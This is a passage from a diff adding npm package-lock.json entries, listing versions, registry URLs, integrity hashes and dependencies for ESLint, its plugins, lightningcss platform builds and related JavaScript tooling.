"@eslint-community/regexpp": "^4.12.1", + "@eslint/config-array": "^0.21.1", + "@eslint/config-helpers": "^0.4.2", + "@eslint/core": "^0.17.0", + "@eslint/eslintrc": "^3.3.1", + "@eslint/js": "9.39.2", + "@eslint/plugin-kit": "^0.4.1", + "@humanfs/node": "^0.16.6", + "@humanwhocodes/module-importer": "^1.0.1", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "ajv": "^6.12.4", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.6", + "debug": "^4.3.2", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^8.4.0", + "eslint-visitor-keys": "^4.2.1", + "espree": "^10.4.0", + "esquery": "^1.5.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^8.0.0", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-7.0.1.tgz", + "integrity": "sha512-O0d0m04evaNzEPoSW+59Mezf8Qt0InfgGIBJnpC0h3NH/WjUAR7BIKUfysC6todmtiZ/A0oUVS8Gce0WhBrHsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.24.4", + "@babel/parser": "^7.24.4", + "hermes-parser": "^0.25.1", + "zod": "^3.25.0 || ^4.0.0", + "zod-validation-error": "^3.5.0 || ^4.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0" + } + }, + "node_modules/eslint-plugin-react-refresh": { + "version": "0.4.26", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.26.tgz", + "integrity": "sha512-1RETEylht2O6FM/MvgnyvT+8K21wLqDNg4qD51Zj3guhjt433XbnnkVttHMyaVyAFD03QSV4LPS5iE3VQmO7XQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "eslint": ">=8.40" + } + }, + "node_modules/eslint-scope": { + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", + "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/espree": { + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", + "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.15.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^4.2.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esquery": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", + "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eventemitter3": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz", + "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==", + "license": "MIT" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/file-entry-cache": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", + "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^4.0.0" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", + "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.4" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/flatted": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz", + "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", + "dev": true, + "license": "ISC" + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/globals": { + "version": "16.5.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-16.5.0.tgz", + "integrity": "sha512-c/c15i26VrJ4IRt5Z89DnIzCGDn9EcebibhAOjw5ibqEHsE1wLUgkPn9RDmNcUKyU87GeaL633nyJ+pplFR2ZQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "license": "ISC" + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/hermes-estree": { + "version": "0.25.1", + "resolved": "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.25.1.tgz", + "integrity": "sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw==", + "dev": true, + "license": "MIT" + }, + "node_modules/hermes-parser": { + "version": "0.25.1", + "resolved": "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.25.1.tgz", + "integrity": "sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hermes-estree": "0.25.1" + } + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/immer": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/immer/-/immer-10.2.0.tgz", + "integrity": "sha512-d/+XTN3zfODyjr89gM3mPq1WNX2B8pYsu7eORitdwyA2sBubnTl3laYlBk4sXY5FUa5qTZGBDPJICVbvqzjlbw==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/immer" + } + }, + "node_modules/import-fresh": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", + "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/jiti": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.6.1.tgz", + "integrity": "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==", + "license": "MIT", + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", + "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "dev": true, + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lightningcss": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.30.2.tgz", + "integrity": "sha512-utfs7Pr5uJyyvDETitgsaqSyjCb2qNRAtuqUeWIAKztsOYdcACf2KtARYXg2pSvhkt+9NfoaNY7fxjl6nuMjIQ==", + "license": "MPL-2.0", + "dependencies": { + "detect-libc": "^2.0.3" + }, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + }, + "optionalDependencies": { + "lightningcss-android-arm64": "1.30.2", + "lightningcss-darwin-arm64": "1.30.2", + "lightningcss-darwin-x64": "1.30.2", + "lightningcss-freebsd-x64": "1.30.2", + "lightningcss-linux-arm-gnueabihf": "1.30.2", + "lightningcss-linux-arm64-gnu": "1.30.2", + "lightningcss-linux-arm64-musl": "1.30.2", + "lightningcss-linux-x64-gnu": "1.30.2", + "lightningcss-linux-x64-musl": "1.30.2", + "lightningcss-win32-arm64-msvc": "1.30.2", + "lightningcss-win32-x64-msvc": "1.30.2" + } + }, + "node_modules/lightningcss-android-arm64": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.30.2.tgz", + "integrity": "sha512-BH9sEdOCahSgmkVhBLeU7Hc9DWeZ1Eb6wNS6Da8igvUwAe0sqROHddIlvU06q3WyXVEOYDZ6ykBZQnjTbmo4+A==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-arm64": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.30.2.tgz", + "integrity": "sha512-ylTcDJBN3Hp21TdhRT5zBOIi73P6/W0qwvlFEk22fkdXchtNTOU4Qc37SkzV+EKYxLouZ6M4LG9NfZ1qkhhBWA==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-x64": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.30.2.tgz", + "integrity": "sha512-oBZgKchomuDYxr7ilwLcyms6BCyLn0z8J0+ZZmfpjwg9fRVZIR5/GMXd7r9RH94iDhld3UmSjBM6nXWM2TfZTQ==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-freebsd-x64": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.30.2.tgz", + "integrity": "sha512-c2bH6xTrf4BDpK8MoGG4Bd6zAMZDAXS569UxCAGcA7IKbHNMlhGQ89eRmvpIUGfKWNVdbhSbkQaWhEoMGmGslA==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm-gnueabihf": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.30.2.tgz", + "integrity": "sha512-eVdpxh4wYcm0PofJIZVuYuLiqBIakQ9uFZmipf6LF/HRj5Bgm0eb3qL/mr1smyXIS1twwOxNWndd8z0E374hiA==", + "cpu": [ + "arm" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-gnu": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.30.2.tgz", + "integrity": "sha512-UK65WJAbwIJbiBFXpxrbTNArtfuznvxAJw4Q2ZGlU8kPeDIWEX1dg3rn2veBVUylA2Ezg89ktszWbaQnxD/e3A==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-musl": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.30.2.tgz", + "integrity": "sha512-5Vh9dGeblpTxWHpOx8iauV02popZDsCYMPIgiuw97OJ5uaDsL86cnqSFs5LZkG3ghHoX5isLgWzMs+eD1YzrnA==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-gnu": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.30.2.tgz", + "integrity": "sha512-Cfd46gdmj1vQ+lR6VRTTadNHu6ALuw2pKR9lYq4FnhvgBc4zWY1EtZcAc6EffShbb1MFrIPfLDXD6Xprbnni4w==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-musl": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.30.2.tgz", + "integrity": "sha512-XJaLUUFXb6/QG2lGIW6aIk6jKdtjtcffUT0NKvIqhSBY3hh9Ch+1LCeH80dR9q9LBjG3ewbDjnumefsLsP6aiA==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-arm64-msvc": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.30.2.tgz", + "integrity": "sha512-FZn+vaj7zLv//D/192WFFVA0RgHawIcHqLX9xuWiQt7P0PtdFEVaxgF9rjM/IRYHQXNnk61/H/gb2Ei+kUQ4xQ==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-x64-msvc": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.30.2.tgz", + "integrity": "sha512-5g1yc73p+iAkid5phb4oVFMB45417DkRevRbt/El/gKXJk4jid+vPFF/AXbxn05Aky8PapwzZrdJShv5C0avjw==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" 